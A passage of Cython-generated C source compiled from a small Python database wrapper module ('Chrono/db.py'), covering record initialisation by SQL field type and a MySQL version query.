"Chrono/db.py":58 * print(e) * else: * print("Error openning dataBase") # <<<<<<<<<<<<<< * exit( -1 ) * self._data = {} # initialise the dictionary space */ /*else*/ { __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/db.py":59 * else: * print("Error openning dataBase") * exit( -1 ) # <<<<<<<<<<<<<< * self._data = {} # initialise the dictionary space * self.newRecord() # create all fields */ __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __pyx_L44:; /* "Chrono/db.py":60 * print("Error openning dataBase") * exit( -1 ) * self._data = {} # initialise the dictionary space # <<<<<<<<<<<<<< * self.newRecord() # create all fields * self._index = -1 */ __pyx_t_10 = PyDict_New(); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_data, __pyx_t_10) < 0) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/db.py":61 * exit( -1 ) * self._data = {} # initialise the dictionary space * self.newRecord() # create all fields # <<<<<<<<<<<<<< * self._index = -1 * */ __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_newRecord); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_16))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_16); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_16, function); } } if (__pyx_t_9) { __pyx_t_10 = __Pyx_PyObject_CallOneArg(__pyx_t_16, __pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_10 = __Pyx_PyObject_CallNoArg(__pyx_t_16); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 61, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/db.py":62 * self._data = {} # initialise the dictionary space * self.newRecord() # create all fields * self._index = -1 # <<<<<<<<<<<<<< * * def newRecord(self): */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_index, __pyx_int_neg_1) < 0) __PYX_ERR(0, 62, __pyx_L1_error) /* "Chrono/db.py":19 * flag_local = (1<<70) # bit 70 is set, to get local id * * def __init__(self): # TODO: abstrac the database driver, to be independent # <<<<<<<<<<<<<< * if self._link == None: # if no link to database * try: */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_9); __Pyx_XDECREF(__pyx_t_10); __Pyx_XDECREF(__pyx_t_15); __Pyx_XDECREF(__pyx_t_16); __Pyx_XDECREF(__pyx_t_17); __Pyx_AddTraceback("Chrono.db.db.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_e1); __Pyx_XDECREF(__pyx_v_e2); __Pyx_XDECREF(__pyx_v_d); __Pyx_XDECREF(__pyx_v_r); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":64 * self._index = -1 * * def newRecord(self): # <<<<<<<<<<<<<< * for i in self._desc: * t = i[1].split('(')[0] */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_3newRecord(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_3newRecord = {"newRecord", (PyCFunction)__pyx_pw_6Chrono_2db_2db_3newRecord, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_3newRecord(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("newRecord (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db_2newRecord(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_2newRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_t = NULL; PyObject *__pyx_v_n = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; Py_ssize_t __pyx_t_3; PyObject *(*__pyx_t_4)(PyObject *); PyObject *__pyx_t_5 = NULL; int __pyx_t_6; int __pyx_t_7; __Pyx_RefNannySetupContext("newRecord", 0); /* "Chrono/db.py":65 * * def newRecord(self): * for i in self._desc: # <<<<<<<<<<<<<< * t = i[1].split('(')[0] * n = i[0] */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { __pyx_t_2 = __pyx_t_1; __Pyx_INCREF(__pyx_t_2); __pyx_t_3 = 0; __pyx_t_4 = NULL; } else { __pyx_t_3 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = Py_TYPE(__pyx_t_2)->tp_iternext; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; for (;;) { if (likely(!__pyx_t_4)) { if (likely(PyList_CheckExact(__pyx_t_2))) { if (__pyx_t_3 >= PyList_GET_SIZE(__pyx_t_2)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_1 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_3); __Pyx_INCREF(__pyx_t_1); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 65, __pyx_L1_error) #else __pyx_t_1 = PySequence_ITEM(__pyx_t_2, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } else { if (__pyx_t_3 >= PyTuple_GET_SIZE(__pyx_t_2)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_3); __Pyx_INCREF(__pyx_t_1); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 65, __pyx_L1_error) #else __pyx_t_1 = PySequence_ITEM(__pyx_t_2, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } } else { __pyx_t_1 = __pyx_t_4(__pyx_t_2); if (unlikely(!__pyx_t_1)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 65, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_1); } __Pyx_XDECREF_SET(__pyx_v_i, __pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":66 * def newRecord(self): * for i in self._desc: * t = i[1].split('(')[0] # <<<<<<<<<<<<<< * n = i[0] * if t=='int' or t=='bigint': */ __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_i, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_1, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_t, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":67 * for i in self._desc: * t = i[1].split('(')[0] * n = i[0] # <<<<<<<<<<<<<< * if t=='int' or t=='bigint': * self._data[n] = 0 */ __pyx_t_5 = __Pyx_GetItemInt(__pyx_v_i, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_n, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":68 * t = i[1].split('(')[0] * n = i[0] * if t=='int' or t=='bigint': # <<<<<<<<<<<<<< * self._data[n] = 0 * elif t=='float' or t=='double' or t=='real': */ __pyx_t_7 = (__Pyx_PyUnicode_Equals(__pyx_v_t, __pyx_n_u_int, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 68, __pyx_L1_error) if (!__pyx_t_7) { } else { __pyx_t_6 = __pyx_t_7; goto __pyx_L6_bool_binop_done; } __pyx_t_7 = (__Pyx_PyUnicode_Equals(__pyx_v_t, __pyx_n_u_bigint, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 68, __pyx_L1_error) __pyx_t_6 = __pyx_t_7; __pyx_L6_bool_binop_done:; if (__pyx_t_6) { /* "Chrono/db.py":69 * n = i[0] * if t=='int' or t=='bigint': * self._data[n] = 0 # <<<<<<<<<<<<<< * elif t=='float' or t=='double' or t=='real': * self._data[n] = 0.0 */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (unlikely(PyObject_SetItem(__pyx_t_5, __pyx_v_n, __pyx_int_0) < 0)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":68 * t = i[1].split('(')[0] * n = i[0] * if t=='int' or t=='bigint': # <<<<<<<<<<<<<< * self._data[n] = 0 * elif t=='float' or t=='double' or t=='real': */ goto __pyx_L5; } /* "Chrono/db.py":70 * if t=='int' or t=='bigint': * self._data[n] = 0 * elif t=='float' or t=='double' or t=='real': # <<<<<<<<<<<<<< * self._data[n] = 0.0 * else: */ __pyx_t_7 = (__Pyx_PyUnicode_Equals(__pyx_v_t, __pyx_n_u_float, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 70, __pyx_L1_error) if (!__pyx_t_7) { } else { __pyx_t_6 = __pyx_t_7; goto __pyx_L8_bool_binop_done; } __pyx_t_7 = (__Pyx_PyUnicode_Equals(__pyx_v_t, __pyx_n_u_double, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 70, __pyx_L1_error) if (!__pyx_t_7) { } else { __pyx_t_6 = __pyx_t_7; goto __pyx_L8_bool_binop_done; } __pyx_t_7 = (__Pyx_PyUnicode_Equals(__pyx_v_t, __pyx_n_u_real, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 70, __pyx_L1_error) __pyx_t_6 = __pyx_t_7; __pyx_L8_bool_binop_done:; if (__pyx_t_6) { /* "Chrono/db.py":71 * self._data[n] = 0 * elif t=='float' or t=='double' or t=='real': * self._data[n] = 0.0 # <<<<<<<<<<<<<< * else: * self._data[n] = "" */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (unlikely(PyObject_SetItem(__pyx_t_5, __pyx_v_n, __pyx_float_0_0) < 0)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":70 * if t=='int' or t=='bigint': * self._data[n] = 0 * elif t=='float' or t=='double' or t=='real': # <<<<<<<<<<<<<< * self._data[n] = 0.0 * else: */ goto __pyx_L5; } /* "Chrono/db.py":73 * self._data[n] = 0.0 * else: * self._data[n] = "" # <<<<<<<<<<<<<< * self._data['id'] = -1 # if id is negative, record not in database * self.localid = int( time() * 1e7) + self.flag_local # create a local id */ /*else*/ { __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (unlikely(PyObject_SetItem(__pyx_t_5, __pyx_v_n, __pyx_kp_u__10) < 0)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __pyx_L5:; /* "Chrono/db.py":65 * * def newRecord(self): * for i in self._desc: # <<<<<<<<<<<<<< * t = i[1].split('(')[0] * n = i[0] */ } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/db.py":74 * else: * self._data[n] = "" * self._data['id'] = -1 # if id is negative, record not in database # <<<<<<<<<<<<<< * self.localid = int( time() * 1e7) + self.flag_local # create a local id * self.modified = False # True if record modified */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_id, __pyx_int_neg_1) < 0)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/db.py":75 * self._data[n] = "" * self._data['id'] = -1 # if id is negative, record not in database * self.localid = int( time() * 1e7) + self.flag_local # create a local id # <<<<<<<<<<<<<< * self.modified = False # True if record modified * self.indb = False # true if record is in Db */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Multiply(__pyx_t_2, __pyx_float_1e7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_flag_local); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_localid, __pyx_t_1) < 0) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":76 * self._data['id'] = -1 # if id is negative, record not in database * self.localid = int( time() * 1e7) + self.flag_local # create a local id * self.modified = False # True if record modified # <<<<<<<<<<<<<< * self.indb = False # true if record is in Db * */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_modified, Py_False) < 0) __PYX_ERR(0, 76, __pyx_L1_error) /* "Chrono/db.py":77 * self.localid = int( time() * 1e7) + self.flag_local # create a local id * self.modified = False # True if record modified * self.indb = False # true if record is in Db # <<<<<<<<<<<<<< * * def getDbVersion(self): # retrun the database version, may only run on mySql */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_indb, Py_False) < 0) __PYX_ERR(0, 77, __pyx_L1_error) /* "Chrono/db.py":64 * self._index = -1 * * def newRecord(self): # <<<<<<<<<<<<<< * for i in self._desc: * t = i[1].split('(')[0] */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("Chrono.db.db.newRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_t); __Pyx_XDECREF(__pyx_v_n); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":79 * self.indb = False # true if record is in Db * * def getDbVersion(self): # retrun the database version, may only run on mySql # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_5getDbVersion(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_5getDbVersion = {"getDbVersion", (PyCFunction)__pyx_pw_6Chrono_2db_2db_5getDbVersion, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_5getDbVersion(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getDbVersion (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db_4getDbVersion(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_4getDbVersion(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_cursor = NULL; PyObject *__pyx_v_data = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; __Pyx_RefNannySetupContext("getDbVersion", 0); /* "Chrono/db.py":80 * * def getDbVersion(self): # retrun the database version, may only run on mySql * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT VERSION()") */ /*try:*/ { { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "Chrono/db.py":81 * def getDbVersion(self): # retrun the database version, may only run on mySql * try: * cursor = self._link.cursor() # <<<<<<<<<<<<<< * cursor.execute("SELECT VERSION()") * data = cursor.fetchone() */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 81, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_cursor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 81, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 81, __pyx_L6_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 81, __pyx_L6_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_cursor = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":82 * try: * cursor = self._link.cursor() * cursor.execute("SELECT VERSION()") # <<<<<<<<<<<<<< * data = cursor.fetchone() * cursor.close() */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_execute); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 82, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/db.py":83 * cursor = self._link.cursor() * cursor.execute("SELECT VERSION()") * data = cursor.fetchone() # <<<<<<<<<<<<<< * cursor.close() * except: */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_fetchone); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 83, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_5) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 83, __pyx_L6_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 83, __pyx_L6_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_data = __pyx_t_6; __pyx_t_6 = 0; /* "Chrono/db.py":84 * cursor.execute("SELECT VERSION()") * data = cursor.fetchone() * cursor.close() # <<<<<<<<<<<<<< * except: * data = "" */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_close); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_5) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L6_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L6_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/db.py":80 * * def getDbVersion(self): # retrun the database version, may only run on mySql * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT VERSION()") */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L13_try_end; __pyx_L6_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/db.py":85 * data = cursor.fetchone() * cursor.close() * except: # <<<<<<<<<<<<<< * data = "" * finally: */ /*except:*/ { __Pyx_AddTraceback("Chrono.db.db.getDbVersion", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_4, &__pyx_t_5) < 0) __PYX_ERR(0, 85, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_5); /* "Chrono/db.py":86 * cursor.close() * except: * data = "" # <<<<<<<<<<<<<< * finally: * return data */ __Pyx_INCREF(__pyx_kp_u__10); __Pyx_XDECREF_SET(__pyx_v_data, __pyx_kp_u__10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; goto __pyx_L7_exception_handled; } __pyx_L8_except_error:; /* "Chrono/db.py":80 * * def getDbVersion(self): # retrun the database version, may only run on mySql * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT VERSION()") */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L4_error; __pyx_L7_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); __pyx_L13_try_end:; } } /* "Chrono/db.py":88 * data = "" * finally: * return data # <<<<<<<<<<<<<< * * def getTableDescription(self,): */ /*finally:*/ { /*normal exit:*/{ __Pyx_XDECREF(__pyx_r); 